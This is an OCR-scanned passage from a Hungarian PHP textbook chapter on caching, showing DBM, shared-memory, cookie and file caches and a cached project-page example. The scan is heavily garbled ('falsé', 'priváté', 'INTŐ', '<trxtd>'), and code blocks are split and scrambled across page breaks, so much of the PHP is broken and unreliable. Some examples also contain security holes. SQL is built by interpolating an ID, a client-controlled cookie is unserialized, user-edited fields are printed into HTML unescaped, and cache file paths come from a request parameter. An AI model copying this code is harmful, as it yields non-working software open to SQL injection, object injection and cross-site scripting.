ötletes megoldást a valószínűségi megközelítés adja. Nem kell ragaszkodnunk ugyanis ahhoz, hogy pontosan 3000 elérésenként frissítsük a tárat, inkább 1/3000 valószínűsséggel frissítjük minden kérelemnél. így végül hosszú idő alatt átlagban közelítünk a 3000 kérelmenkénti frissítéshez. Lássuk most a showConversion () függvény új változatát, melyben a véletlenszerű frissítést alkalmazzuk: function showConversion($promotionID) { $gdbm = dba_popen("promotionCounter.dbm", " c " , "gdbm"); // ha bejött az 1 a 3000-ből, nem keressük a kulcsot, // hanem egyszerűen újra beillesztjük

274

PHP fejlesztés felsőfokon

if ( r a n d ( 3 0 0 0 ) > 1) { if($count = dba_fetch($promotionid, return $count;
} }

$gdbm))

{

$db = new DB_MySQL_Test; $row = $db->execute("SELECT count(distinct(userid)) cnt FROM promotions WHERE promotioníd = $promotionid")->fetch_assoc(); dba_replace($promotion, $ r o w [ 0 ] , $gdbm); return $row[cnt];
}

E módszer szépsége az egyszerűségében rejlik. Végeredményben csak azokat az adatokat tároljuk, amelyek érdekelnek, a többit pedig a matematikára hagyjuk. A módszer hátulütője, hogy alkalmazásához valóban ismernünk kell az elérési gyakoriságot, hiszen egyébként előfordulhat, hogy az értékek a kelleténél hosszabb ideig maradnak a gyorstárban. Ez különösen igaz akkor, ha a forgalomban átmeneti kihagyások tapasztalhatók, melyek aláássák a matematikai modellt. Mindazonáltal ez semmit sem von le a módszer érdekességéből, és az továbbra is alkalmazható marad olyan esetekben, ahol az elérések gyakorisága elegendően stabil, illetve ahol determinisztikus folyamatokat szeretnénk hatékonyabbá tenni. A gyorstár adatai elavulásának követéséhez készíthetünk egy olyan osztályt, amely kezeli a hívásait, ugyanakkor rögzíti a bejegyzések módosításának idejét, és törődik az adatok elavulásával: <?php class Cache_DBM { priváté $dbm; priváté $expiration; function___ construct($filename, $expiration=3600) { $this->dbm = dba_popen($filename, "c", "ndbm"); $this->expiration = $expiration; } function put($name, $tostore) { $storageobj = array('object' => $tostore, 'time' => time()); dba_replace($name, serialize($storageobj), $this->dbm); } function get($name) { $getobj = unserialize(dba_fetch($name, $this->dbm)); if(time() - $getobj[time] < $this->expiration) { return $getobj[object]; } else {

10. fejezet • Adatösszetevők átmeneti tárolása

275

dba_delete($name, return falsé;
} }

$this->dbm);

function delete($name) { return dba_delete($name, $this->dbm);
} } ?>

Ezek után ezzel az osztállyal hozhatjuk létre új gyorstárobjektumainkat: <?php require_once 'Cache/DBM.inc'; $cache = new Cache_DBM("/path/to/cachedb"); ?>

Ez az objektum meghívja a dba_popen függvényt a gyorstár DBM fájljának megnyitásához (melyet, amennyiben nem létezik, egyúttal létre is hoz). Az objektum a lejárat idejét 3600 másodpercben (vagyis 1 órában) állapítja meg. Ha más időtartamra lenne szükségünk, mondjuk 1 napra, ezt is megadhatjuk: $cache = Cache_DBM("/path/to/cachedb", 86400);

A tárolás és a keresés egy kulcsnév alapján történik, melyet nekünk kell megadnunk. így például a Foo objektum tárolásához és új példányának létrehozásához az alábbiakat kell tennünk: $foo = new Foo(); // tárolás $cache->put('foo', $foo) ; A könyvtárban ez egy tömböt hoz létre, amely tartalmazza a $f oo értékét, valamint az aktuális időt, végül pedig becsomagolja („sorosítja") az eredményt. Az eredmény bekerül a gyorstár DBM fájljába, és a foo kulcs azonosítja. A sorosításra azért van szükség, mert a DBM fájlok csak karakterláncokat képesek tárolni. (Valójában bármilyen, bináris adatokat tartalmazó sorozat tárolására képes, de ezekre a PHP mind karakterláncként tekint.) Ha van már valamilyen adat a foo kulcs alatt, a rendszer kicseréli az újra. Egyes DBM illesztők (például a DB4) támogatják, hogy adott kulcshoz több érték is tartozzon, a PHP azonban e tekintetben még nem érte utol őket.

276

PHP fejlesztés felsőfokon

A korábban tárolt értékek kiolvasására a get () tagfüggvény ad lehetőséget, mellyel megkaphatjuk a kulcshoz tartozó adatot: $obj = $cache->get('foo'); A get belső szerkezete némiképp összetett. Ahhoz, hogy visszakapja a tárolt objektumot, előbb meg kell keresnie a kulcs alapján. Ezután visszaírja a tárolójába, és összehasonlítja a beillesztés idejét a konstruktorban meghatározott lejárati idővel. Amennyiben a tartalom még nem elavult, eljut a felhasználóhoz, egyébként pedig a program törli a gyorstárból. Ha ezt az osztályt valós életbéli feladatokra használjuk, először egy get () hívással megnézzük, van-e érvényes másolat az adatból a gyorstárban - amennyiben nincs, egy put () hívással feltöltjük friss adatokkal. <?php class Foo { public function i d ( ) { return "I ara a Foo";
} }

reguire_once 'Cache/DBM.inc'; $dbm = new Cache_DBM("/data/cachefiles/generic"); if($obj = $dbm->get("foo")) { // Találat, a $obj értékét kerestük print $obj->id(); } else { // Nincs találat, készítünk egy új $obj objektumot, és elhelyezzük // a gyorstárban $obj = new Foo() ;

$dbm->put("foo" , print $obj->id();
}

$obj) ;

// ... használjuk a $obj értékét tetszés szerint ?> Érdemes néhány dolgot megjegyeznünk a burkoló osztályról: • Képes bármilyen adatszerkezetet (objektumot, tömböt, karakterláncot, más egyebet) automatikusan kezelni. Ez alól csak az erőforrások jelentenek kivételt, de ezek amúgy sem oszthatók meg hatékonyan a folyamatok között. • Az objektumok újratárolásához bármikor meghívhatjuk a put () függvényt. Ez hasznos olyankor, ha tudjuk, hogy egy műveletünk elavulttá teszi a gyorstár tartalmát.

10. fejezet • Adatösszetevők átmeneti tárolása

277

• A kulcsok neveinek meghatározása nem automatikus, így nekünk kell tudnunk, hogy a f oo kulcs a Foo objektumra utal. Ez jól működik egyelemű adatszerkezeteknél, de bármilyen összetettebb esetben szükség van valamilyen elnevezési szabályra. A cdb kivételével minden DBM-megvalósítás dinamikusan terjeszti ki háttértárát az új adatok kezelésére. Ez azt jelenti, hogy ha magára hagyják, egy DBM gyorstár egész addig működik, míg az őt tartalmazó fájlrendszer rendelkezik szabad területtel. A DBM könyvtár nem követi az elérések jellemzőit, így ha nem burkoljuk be a könyvtárat egy osztállyal, ami biztosítja ezt, nem tudjuk „intelligensen" kezelni a gyorstárat. A DBM fájlok figyelemreméltó tulajdonsága, hogy méretük soha nem csökken. A rendszer újra és újra felhasználja a fájlon belüli területet, a fájlméret maga azonban csak nőhet - soha nem csökken. Ha tehát komolyan igénybe vesszük a gyorstárat (gyakoriak a beillesztések, és az adatok sokszor cserélődnek), valamilyen formában szükség van rendszeres karbantartására. A fájl alapú gyorstárakhoz hasonlóan a költségek csökkentéséhez szükség lehet a DBM fájlok törlésére és újbóli létrehozására. Ha nem kívánunk túlzottan drasztikus módszereket alkalmazni, elhelyezhetünk egy szemétgyűjtő függvényt a Cache_DBM osztályban: function garbageCollection() { $cursor = dba_firstkey($this->dbm); while(Scursor) { $keys[] = $cursor; $cursor = dba_nextkey($this->dbm);
}

foreach( $keys as $key ) $this->get($key);
} }

{

Egy sormutató (kurzor) segítségével haladunk végig a gyorstár kulcsain, tároljuk azokat, majd sorban meghívjuk rájuk a get () függvényt. Amint a korábbiakban már említettük, a get () eltávolítja az elavult bejegyzéseket, a frissek esetén pedig egyszerűen figyelmen kívül hagyhatjuk a visszatérési értéket. Ez a módszer kissé hosszabbnak tűnik a szükségesnél - ha a get () függvényt az első while ciklusba helyeznénk, a kód olvashatóbbá válna, és egy teljes ciklust nyernénk. Sajnálatos módon a DBM legtöbb megvalósítása nem képes helyesen kezelni a kulcsok eltávolítását, miközben a program végighalad rajtuk. Ezért van hát szükség erre a kétlépéses eljárásra, amely biztosítja, hogy valóban sorra vegyünk minden kulcsot.

278

PHP fejlesztés felsőfokon

Az ehhez hasonló szemétgyűjtés költséges dolog, így hát nem érdemes a kelleténél többször elvégeznünk. Láttam olyan programokat, ahol a szemétgyűjtési eljárást minden oldalkérelem után meghívták, hogy biztosítsák a gyorstár kis méretét. Ez a módszer súlyos adattorlódásokat okozhat a rendszerben. Sokkal jobb megoldás, ha a szemétgyűjtést a cron ütemezett feladatai közé vesszük fel, így nem sok vizet zavar.

Gyorstár a megosztott memóriában
A memóriaterület folyamatok közti megosztása a Unixban a BSD vagy a System V módszere szerint valósulhat meg. Az előbbi az mmap () rendszerhívás segítségével lehetővé teszi, hogy különböző folyamatok ugyanazt a memóriaszegmenst leképezhessék saját címterületükre. A PHP szemafor és shmop bővítménye két másik felületet adnak a System V osztott memóriája, valamint a szemaforok kezeléséhez. A System V megvalósítás a folyamatok közti adatcsere (IPC, interprocess communication) minden lehetőségét rendelkezésünkre bocsátja - használhatunk osztott memóriaszegmenseket, szemaforokat és üzenetsorokat. Közülük a gyorstárak esetében az első kettőre van szükségünk. Az osztott memória a tárolást, a szemaforok pedig a zárolási műveleteket teszik lehetővé. A gyorstár méretének kézben tartása különösen fontos osztott memória használatánál. A szerkezet nélküli, illetve DBM fájl alapú gyorstárakkal ellentétben az osztott memóriaszegmensek méretét nem növelhetjük dinamikusan. Mindez azt jelenti, hogy különösen oda kell figyelnünk arra, nehogy túllépjük a tárterület lehetőségeit. A C nyelvű alkalmazásokban jó módszer, ha az osztott memóriában tároljuk az elérési adatokat, és ezek alapján végezzük el a gyorstárban a szükséges műveleteket. Ugyanezt megtehetjük a PHP-ben is, de itt ez egy kevésbé alkalmas megoldás. A gondot az osztott memóriakezelő függvények „szűk látóköre" (vagy „finom szemcsézettsége", ha úgy tetszik) okozza. Az shm_get_var és az shm_put_var segítségével (melyeket a sysvshm bővítményben találhatunk meg) könnyen tárolhatunk és olvashatunk ki változókat. Mindazonáltal nem létezik olyan függvény, mellyel megkaphatnánk a szegmensben jelen levő elemek listáját, ami gyakorlatilag lehetetlenné teszi, hogy egyszerűen végighaladjunk a gyorstáron. Emellett, ha az elérések jellemzőit is tárolni szeretnénk valahogy, ezt is csak az elemeken belül tehetjük meg - ami csaknem kizárja az „okos" gyorstárkezelés lehetőségét. Ha az shmop függvényeket alkalmazzuk (az shmop bővítményből), egy alacsonyabb szintű felületet kapunk, ami lehetővé teszi az osztott memóriaszegmensek olvasását, írását, megnyitását és bezárását - éppúgy, mintha fájlok lennének. Ez nagyszerűen működik az olyan gyorstáraknál, amelyek egyetlen elemet tárolnak szegmensenként (hasonlóan a szerkezet nélküli fájlok esetéhez), de nem sokat segít, ha több elemet kívánunk elhe-

10. fejezet • Adatösszetevők átmeneti tárolása

279

lyezni egy szegmensen belül. Mivel a PHP a memóriakezelés feladatát átveszi a felhasználóktól, meglehetősen nehéz saját adatszerkezeteket megvalósítanunk az shmop_open () által visszaadott memóriaszegmenseken. A System V IPC további hiányossága, hogy az osztott memória nem rendelkezik hivatkozásszámlálással. Ha használatba veszünk egy osztott memóriaszegmenst, és anélkül lépünk ki, hogy felszabadítanánk, ezt az erőforrást örök időkre lefoglaltuk. A System V erőforrásai egy közös tárolóból kerülnek ki, így még a ritka alkalmanként elvesztett szegmensek is komoly gondokat okozhatnak. Mindemellett, még ha a PHP meg is valósította volna a hivatkozásszámlálást (mint ahogy nem tette), mindez továbbra is gondokat okozna, ha a PHP, illetve a hozzá tartozó kiszolgáló váratlanul összeomlana. Egy tökéletes világban persze ilyesmi nem fordulhat elő, de az alkalmankénti szegmentációs hibák nem ismeretlenek a nagy terhelés alatt működő webkiszolgálókon. Mindebből tanulságként annyit szűrhetünk le, hogy a System V osztott memóriájára nem érdemes gyorstárat építenünk.

Süti alapú gyorstárak
A hagyományos kiszolgáló oldali tárolás mellett az alkalmazás adatai tárolhatók az ügyfél oldalán is, ha sütiket (cookie) használunk ennek megvalósítására. Ez a módszer akkor lehet hatékony, ha felhasználónként viszonylag kevés adatot kell elhelyeznünk a gyorstárban. Ha sok felhasználóval dolgozunk, még ez a kis mennyiség is jelentős adattömeggé állhat össze a kiszolgálónál. Gyakran használják a sütiket arra, hogy nyomon kövessék a felhasználók kilétét, és ennek alapján jussanak hozzá az egyéni adatokhoz az egyes oldalakon. Megtehetjük azonban azt is, hogy a sütikben ez utóbbi adatokat is átadjuk. Vegyünk például egy hírportált, melynek böngészősávján három testreszabható rész található. Ezek tartalma az alábbiak közül kerülhet ki: • • • • Reklámok egy másik webhelyről Helyi időjárás Sporteredmények Hírek hely és kategória szerint

Az alábbi kód segítségével a felhasználó navigációs beállításait a user-navigation táblában tárolhatjuk, és a get-interests, valamint a set-interest tagfüggvényekkel férhetünk hozzájuk:
<?php require 'DB.inc'; class User { public $name;

280

PHP fejlesztés felsőfokon

public $id; public function___ construct($id) { $this->id = $id; $dbh = new DB_Mysql_Test; $cur = $dbh->prepare("SELECT name FROM users u WHERE userid = : 1" ) ; $row = $cur->execute($id)->fetch_assoc(); $this->name = $row['name']; } public function get_interests() { $dbh = new DB_Mysql_Test(); $cur = $dbh->prepare("SELECT interest, position FROM user_navigátion WHERE userid = : 1") ; $cur->execute($this->userid); $rows = $cur->fetchall_assoc() ; $ret = array () ; foreach($rows as $row) { $ret[$row['position']] = $row['interest'] ; } return $ret; } public function set_interest($interest, $position) { $dbh = new DB_Mysql_Test; $stmtcur = $dbh->prepare("REPLACE INTŐ user_navigátion SET interest = :1 position = :2 WHERE userid = : 3 ") ; $stmt->execute($interest, $position, $this->userid); } } ?>

A user-navigation tábla interest mezője olyan kulcsszavakat tartalmazhat, mint a sports-football (sport-futball) vagy a news-global (hírek-külföld), amelyek leírják a felhasználó érdeklődését. Szükségünk van még egy generate_navigation_element () függvényre is, amely fogadja a kulcsszavakat, és előállítja a hozzájuk tartozó tartalmat.

10. fejezet • Adatösszetevők átmeneti tárolása

281

így például a news-global kulcsszó megadásakor a függvény a külföldi hírek helyben tárolt változatát adja vissza. És ami a legfontosabb, az eredményt egy teljes HTML részletben adja meg, melyet minden további nélkül beilleszthetünk a böngészősávba. Az így készített eszközökkel a személyre szabott böngészősáv kódja így fest: <?php $userid = $_COOKIE['MEMBERID']; $user = new User($userid); if(!$user->name) { header("Location: /login.php");
}

$navigation = $user->get_interests();
?>

<table> <tr> <td> <table> <trxtd> <?= $user->name ? > ' s Home <trxtd> <!-- 1. hely a böngészősávon --> <?= generate_navigation_element($navigation[1] ) ?> </tdx/tr> <trxtd> <!-- 2. hely a böngészősávon --> <?= generate_navigation($navigation[2 ]) ?> </tdx/tr> <trxtd> <!-- 3. hely a böngészősávon --> <?= generate_navigation($navigation[3]) ?> </tdx/tr> </table> </td> <td> <!-- az oldal törzse (minden felhasználónál azonos tartalom) </td> </tr> </table>

-->

Amikor egy felhasználó belép az oldalra, a program az azonosítója alapján kikeresi a hozzá tartozó bejegyzést a táblából. Amennyiben a felhasználó még nincs benn az adatbázisban, a program átirányítja a kérelmet a bejelentkezési oldalra a Location: HTTP átirányító fejléccel. Egyébként kiolvassa a felhasználói beállításokat a get_interests () tagfüggvénnyel, és ezek alapján elkészíti az oldalt.

282

PHP fejlesztés felsőfokon

E kódban elérésenként legalább két adatbázishívásra van szükség. Először is a konstruktorban egy hívással hozzá kell jutni a felhasználó nevéhez az azonosítója alapján, majd egy adatbázishívással a beállításaihoz. Nem tudjuk, mi folyik a generate_navigation_element () függvény belsejében, de reményeink szerint ez is alkalmaz gyorstárat. Számos portáloldalra jellemző, hogy a böngészősáv több oldalon keresztül elkísér, és gyakran ez a webhely leggyakrabban előállított részlete. Még egy alacsony költségű, optimalizált lekérdezés is komoly megterhelést jelenthet a rendszerre nézve, ha túl gyakran hívják meg. Valójában az lenne a legjobb, ha alkalmazásukat teljességgel el tudnánk kerülni. Ezt a célt úgy érhetjük el, ha nemcsak a felhasználó nevét, de a beállításait is egy sütiben tároljuk. Lássunk egy egyszerű burkoló osztályt ennek megvalósításához: class Cookie_UserInfo { public $name; public $userid; public $interests; public function _____ construct($user = falsé) if($user) {

{

$this->name = $user->name; $this->interests = $user->interests(); } else { if(array_key_exists("USERINFO", $_COOKIE)) { list($this->name, $this->userid, $this->interests) = unserialize($_cookie['USERINFO']); } else { throw new AuthException("no cookie"); } } } public function send() { $cookiestr = serialize(array($this->name, $this->userid, $this->interests)); set_cookie("USERINFO", $cookiestr); } } class AuthException { public $message; public function __ construct($message = falsé) { if($message) { $this->message = $message; } } }

10. fejezet • Adatösszetevők átmeneti tárolása

283

Ebben a kódrészletben két újdonsággal találkozhatunk. Először is, példát láthatunk arra, miként lehet egy sütiben több adategységet tárolni. Jóllehet most csak a name, az ID és az interests tömb szerepel adatként, mivel a serialize függvényt használjuk, bármilyen összetett változót tárolhatnánk. Másodszor, felfedezhetünk egy kódrészletet, amely kivételt vált ki, ha a felhasználónak nincs sütije. Ez tisztább módszer, mint a tulajdonságok létezésének ellenőrzése (a korábbi gyakorlatunk), és igen hasznos, ha több ellenőrzést is végzünk. (Minderről többet a 13. fejezetben tudhatunk meg.) Az osztály használatához az alábbiakat kell tennünk azon az oldalon, ahol a felhasználó módosíthatja a beállításait: $user = new User($name); $user->set_interest('news-global', 1); $cookie = new Cookie_UserInfo($user); $cookie->send(); Itt a set_interest tagfüggvénnyel beállítjuk az első böngészőelemet a külföldi hírekre (news-global), és egyúttal rögzítjük az adatbázisban. Ezután létrehozunk egy Cookie_UserInfo objektumot. Ezt követően, amikor egy User objektumot adunk át a konstruktornak, a program a Cookie_UserInf o tulajdonságait a User objektumból másolja át. Végül meghívjuk a send() függvényt, ami sorosítja a tulajdonságokat (a userid mellett a felhasználó nevét és az interests tömböt is), és az eredményt a felhasználó böngészőjében a USERINFO sütibe helyezi. A honlap kódja most valahogy így fest:
try { $usercookie = new Cookie_UserInfo(); } catch (AuthException $e) { header{"Location /login.php"); } $navigation = $usercookie->interests; ?> <table> <tr> <td> <table> <trxtd> <?= $usercookie->name ?> </tdx/tr> <?php for ($i=l; $i<=3; $i++) { ?> <trxtd> <!-- 3. hely a böngészősávon --> <?= generate_navigation($navigation[$i] ) ?>

284

PHP fejlesztés felsőfokon

</tdx/tr> <?php } ?> </table> </td> <td> <!-- az oldal törzse (minden felhasználónál azonos tartalom) --> </td> </tr> </table>

A gyorstár méretének kezelése
Az adatok ügyfél oldali tárolásának valódi szépsége, hogy az itt alkalmazott gyorstótárak vízszintesen méretezhetők. Mivel az adatok raktározása az ügyfelet terheli, nincs gond a gyorstár méretének növelésével. A felhasználói adatok sütibe helyezésével két alapvető gond lehet - a nagy sütik miatt megnövekedett sávszélesség-igény, valamint biztonsági meggondolások a felhasználók sütikben elküldött adataival kapcsolatban. A sávszélességgel kapcsolatos aggodalmaknak valóban van valós alapja. Az ügyfél böngészője ugyanis egy kérelem elkészítésekor mindig csatolja az adott tartományhoz tartozó sütiket. Ezért hát egyetlen kilobájtnyi süti is érezhető változásokat okozhat a sávszélesség kihasználásában. Mindez persze természetes, hiszen minden gyorstár használata jár bizonyos költségekkel. Míg a kiszolgáló oldalon inkább a tárolás és a fenntartás költségeivel kell számolnunk, az ügyfélnél inkább a sávszélesség a szűk keresztmetszet. Ha sütiket alkalmazunk a gyorstár megvalósítására, ügyeljünk méretük viszonylag alacsonyan tartására.

Bájtzabálók

Egyesek túlzottan is komolyan veszik ez utóbbi tanácsot, és megkísérlik a lehető legkisebbre összezsugorítani a sütiket. Ezzel persze semmi baj nincs, de nem árt megjegyezni, hogy 30 KB-os (viszonylag kicsi) HTML lapok és 1 KB-os (viszonylag nagy) sütik esetén a HTML kód 1,5%-os csökkentése ugyanakkora hatással van a sávszélességre, mint a süti 10%-os zsugorítása. Ezzel csak arra utalunk, hogy érdemes mindenre egy átfogóbb nézőpontbői tekinteni. A HTML kód összehúzása sok esetben hatékonyabb, mintha a kisebb részekkel próbálnánk kíméletlenül elbánni.

10. fejezet • Adatösszetevők átmeneti tárolása

285

Egyidejű hozzáférés és az adatok összhangja
A süti alapú gyorstárak esetében a legnagyobb fejtörést az okozza, miként tarthatjuk frissen az adatokat böngészőváltáskor. Amennyiben a felhasználó egyetlen böngészővel dolgozik, egyszerűen megírhatjuk úgy az alkalmazást, hogy a gyorstárban raktározott adatok frissítése belekerüljön a sütikbe is. Ha azonban egy felhasználó több böngészőt használ (mondjuk egyet otthon, egyet pedig a munkahelyén), az A böngészőben végzett módosítások láthatatlanok maradnak, amikor a B böngészőből nézi az adott oldalt, amennyiben ez is rendelkezik saját gyorstárral. Első ránézésre nincs itt különösebb gond - csak követnünk kell az IP címek segítségével, melyik böngészőt használja a felhasználó, és minden váltásnál érvényteleníteni a gyorstár tartalmát. Sajnos ezzel az egyszerű módszerrel két gond is akad: • A fent említett követéshez fel kell kutatni a felhasználó adatait az adatbázisban éppen ezt a lépést szerettük volna elkerülni. • A módszer egyébként sem működik. A nagy internetszolgáltatók (például az AOL vagy az MSN) helyettes kiszolgálói elrejtik mind az ügyfél böngészője által küldött USER_AGENT karakterláncot, mind a kérelem forrásául szolgáló gép IP címét. De ami még rosszabb, a böngésző típusa és az IP cím gyakran a kérelmek között is megváltozik. Ez lehetetlenné teszi, hogy ezen adatok bármelyikével is azonosítsuk a felhasználót. Az egyetlen dolog, amit tehetünk, hogy a felhasználók viselkedésének jellemzőit alapul véve elavuló felhasználói állapotjelző sütiket alkalmazunk. Ha például feltételezzük, hogy a felhasználónak legalább 15 percébe telik, míg vált a böngészők között, hozzábiggyeszthetünk egy időbélyegzőt a sütihez, és ha elavulttá vált, újra kiolvashatjuk a tartalmát az adatbázisból.

Gyorstárak használata az alkalmazásokban
Az eddigiekben számos módszert megismertünk a gyorstárak használatára, itt az idő, hogy ezeket valódi alkalmazásokba is beépítsük. Ilyenkor azonban ugyanazzal a gonddal szembesülünk, mint a szerelő, amikor a szerszámosládájából a megfelelő eszközt próbálja kiválasztani. Mit használjunk - szöget vagy csavart? Körfűrészt vagy kézifűrészt? Fájl vagy DBM alapú gyorstárat? Néha egyértelmű a megoldás, de van, hogy az élet valódi döntési helyzet elé állít. Rengeteg lehetséges módszer áll a rendelkezésünkre; legjobban úgy választhatunk közöttük, ha lemérjük a különbséget hatékonyságuk között. A következőkben valós, gyakorlati példák kapcsán ismerkedünk meg a lehetséges megoldási módokkal.

286

PHP fejlesztés felsőfokon

Bemutatott példáinkban sok esetben a Gyorstárak szerkezet nélküli fájlokban címszó alatt megismert fájlváltási módszert használjuk. A megoldási módszert itt az alkalom szülte, és a kódot a Cache_File osztállyal kell beburkolnunk a dolgok egyszerűbbé tételére (hasonlóan a Cache_DBM osztályhoz):
<?php class Cache_File { protected $filename; protected $tempfilename; protected $expriration; protected $fp;

public function _____ construct($filename, $expiration=false) $this->filename = $filename; $this->tempfilename = "$filename.".getmypid(); $this->expiration = $expiration;
}

{

public function put($buffer) { if(($this->fp = fopen($this->tempfilename, return falsé;
}

"w"))

== falsé)

{

fwrite($this->fp, $buffer); fclose($this->fp); rename($this->tempfilename, $this->filename); return true;
}

public function get() { if($this->expiration) { $stat = @stat($this->filename); if($stat[9]) { if( t i m e ( ) > $modified + $this->expiration) unlink($this->filename); return falsé;
} } }

{

return @file_get_contents($this->filename);
}

public function remove() @unlink($filename);
} } ?>

{

Láthatjuk, hogy a Cache_File osztály igencsak hasonlít a Cache_DBM-hez. Van egy konstruktőrünk, melynek átadjuk a gyorstárfájl nevét, valamint esetleg egy lejárati időt. A get () tagfüggvény végzi az elavuláskezelését (amennyiben átadtunk lejárati időt), és

10. fejezet • Adatösszetevők átmeneti tárolása

287

visszaadja a gyorstárfájlok tartalmát. A put () az átmeneti tár tartalmát beírja az átmeneti gyorstárfájlba, majd ezt felcseréli a végső fájllal. A remove () függvény megsemmisíti a gyorstárfájlt. Ezt a típusú gyorstárat gyakran használják kimeneti tárból származó oldalak tárolására, így két „kényelmi" függvényt - begin () és end () - használhatunk a kimenet tárolására a put () helyett: public function begin() { if(($this->fp = fopen($this->tempfilename, return falsé;
}

"w"))

== falsé)

{

ob_start();
}

public function end() { $buffer = ob_get_contents() ; ob_end_flush(); if(strlen($buffer)) { fwrite($this->fp, $buffer); fclose($this->fp); rename($this->tempfilename, return true;
} else {

$this->filename);

flcose($this->fp); unlink($this->tempfilename); return falsé;
} }

A kimenet kiadása előtt a begin () , utána pedig az end () tagfüggvényt kell meghívnunk.
<?php require_once 'Cache/File.inc'; $cache = Cache_File("/data/cachefiles/index.cache") ; if($text = $cache->get()) { print $text; } else { $cache->begin(); ?> <?php // itt állítjuk elő az oldalt ?> <?php $cache->end(); } ?>

288

PHP fejlesztés felsőfokon

Honlapok tárolása Az alábbiakban megvizsgáljuk, miként alkalmazhatjuk az eddig megismert gyorstárakat egy olyan webhelyen, amely lehetővé teszi, hogy a felhasználók nyílt forrású projekteket jegyezzenek be, és személyre szabott lapokat készítsenek számukra (ilyen a pear. php. net vagy a www. f reshmeat. net). Webhelyünk jelentős forgalmat bonyolít le, így a gyorstárakat arra szeretnénk használni, hogy felgyorsítsuk az oldalbetöltést és némileg tehermentesítsük az adatbázist. Ezzel a felállással meglehetősen gyakran találkozhatunk. Egy raktárkészlet webes megjelenítése, egy webnapló bejegyzései, az egyéni honlapokat tartalmazó webhelyek, valamint a tőzsdék hálózati adatlapjai hasonló igényeket támasztanak a gyorstárakkal szemben. Saját cégem például lehetővé teszi minden dolgozója számára, hogy bizonyos sablonok alapul vételével elkészítsék saját honlapjaikat a cég webhelyen. Az összhang fenntartása végett mindenki bizonyos személyre szabható adatokat tárolhat (egy személyes üzenetet és néhány szót önmagáról), más előre megadott személyes (rögzített életrajzi adatok) és nem személyes tartalommal (a cég fej- és lábléce, valamint a webhelyhez tartozó böngészősávok). Kezdjük a munkát egy egyszerű projekt honlapjával, melyen az alábbi egyszerű adatokat találhatjuk meg: class Project { // A projekt jellemzői public $name; public $projectid; public $short_description; public $authors; public $long_description; public $file_url; Az osztály konstruktora egy nevet is átvehet. Ha ezt megadjuk a számára, megkísérli betölteni a projekt részleteit. Ha nem találja a projektet a neve alapján, kivételt vált ki. Lássuk, miként: public function______ construct($name = false) if($name) { $this->_fetch($name) ;
} }

{

10. fejezet • Adatösszetevők átmeneti tárolása

289

És itt a Pro j ect osztály további része: protected function _fetch($name) { $dbh = new DB_Mysql_Test ; $cur = $dbh->prepare(" SELECT FROM projects WHERE name = : 1"); $cur->execute($name); $row = $cur->fetch_assoc(); if($row) { $this->name = $name; $this->short_description = $row['short_description']; $this->author = $row['author']; $this->long_description = $row['long_description']; $this->file_url = $row['file_url'];
}

else { throw new Exception;
} } }

A store () tagfüggvénnyel a projekt változásait visszaírhatjuk az adatbázisba: public function store() { $dbh = new DB_Mysql_Test() ; $cur = $dbh->execute(" REPLACE INTŐ projects SET short_description = :1, author = :2, long_description = :3, file_url = :4 WHERE name = : 5") ; $cur->execute($this->short_description, $this->author, $this->long_description, $this->file_url, $this->name);
} }

290

PHP fejlesztés felsőfokon

Mivel most gyorstárfájlokat írunk ki, tudnunk kell, hová tegyük azokat. Készíthetünk számukra egy helyet a $CACHEBASE globális beállítási változó segítségével, amely a gyorstárfájlok tárolásának legfelső szintű könyvtárát adja meg. Megoldás lehet az is, ha létrehozunk egy Conf ig globális egyke (singleton) osztályt, amely minden beállítási paraméterünket tárolja majd. A Proj ect osztályban készíthetünk egy get_cachef ile () tagfüggvényt, amely megadja az adott projekt gyorstárfájljának útvonalát: public function get_cachefile($name) { global $CACHEBASE; return "$CACHEBASE/projects/$name.cache";
}

A projekt oldala valójában egy sablon, melyet a megadott részletekkel töltünk fel. így biztosíthatjuk a teljes webhely kinézetének összhangját. A projekt nevét az oldalnak GET paraméterként adjuk át (az URL valahogy így fest: http: //www. example. com/project .php?name=ProjectFoo), majd összeállítjuk az oldalt:
<?php reguire 'Project.inc'; try { $name = $_GET['name']; if(!$name) { throw new ExceptxonO; } $project = new Project($name); } catch (Exception $e) { // Ha bármilyen hiba történik, a látogató ide kerül header("Locat ion: /index.php"); return; } ?> <html> <title><?= $project->name ?></title> <body> <!-- boilerplate text --> <table> <tr> <td>Author: </tdxtd><?= $project->author ?> </tr>

10. fejezet * Adatösszetevők átmeneti tárolása

291

<tr> <td>Summary: </tdxtdx? = $project->short_description ?> </tr> <tr> <td>Availability:</td>

<tdxa href="<?= $project->file_url ?>">click here</ax/td> </tr> <tr> <td><?= $project->long_description ?></td> </tr> </table> </body> </html>
Szükség van egy olyan oldalra is, ahol a szerzők saját oldalaikat szerkeszthetik: <? require_once 'Proj ect.inc'; $name = $_REQUEST['name']; $project = new Project($name); if(array_key_exists("posted", $_POST)) { $proj ect->author = $_POST['author']; $project->short_description = $_POST['short_description'] ; $project->file_url = $_POSTt'file_url']; $project->long_description = $_POST['long_description']; $project->store(); } ?> <html> <title>Project Page Editor for <?= $project->name ?> </title> <body> <form name="editproject" method="POST"> <input type ="hidden" name="name" value="<?= $name ?>"> <table> <tr> <td>Author:</td> <tdxinput type="text" name=author value="<?= $project->author
■ ?>" ></td>

</tr> <tr> <td>Summary:</td> <td> -cinput type="text" name=short_description value="<?= $project->short_description ?>"> </td> </tr>

<tr> <td>Availability:</td> <tdxinput type="text" name=file_url value="<?= $project>file_url?>"></td> </tr> <tr> <td colspan=2> <TEXTAREA name="long_description" rows="20" c ol s = " 8 0" > < ?= $project-> long_description ?></TEXTAREA> </td> </tr> </table> <input type=submít name=posted value="Edit content"> </form> </body> </html> Első valódi gyorstárunk a korábban készített Cache_File osztály közvetlen alkalmazása:
<?php require_once 'Cache_File.inc'; require_once 'Project.inc'; try { $name = $_GET['name']; if(!$name) { throw new ExceptionO; } $cache = new Cache_File(Project::get_cachefile($name)); if($text = $cache->get()) { print $text; return; } $project = new Project($name); } catch (Exception $e) { // Hiba esetén ide kerülünk header("Locat ion: /index.php"); return; } $cache->begin(); ?> <html> <title><?= $project->name ?></title> <body> <!-- boilerplate text -->

10. fejezet • Adatösszetevők átmeneti tárolása

293

<table> <tr> <td>Author :</tdxtd><?= $project->author ?> </tr> <tr> <td>Summary:</tdxtd><?= $project->short_description ? > </tr> <tr> <td>Availability: </tdxtdxa href="<?= $project->f ile_url ?>">click here</ax/td> </tr> <tr> <tdx?= $project->long_description ?x/td> </tr> </table> </body> </html> <?php $cache->end(); ?>

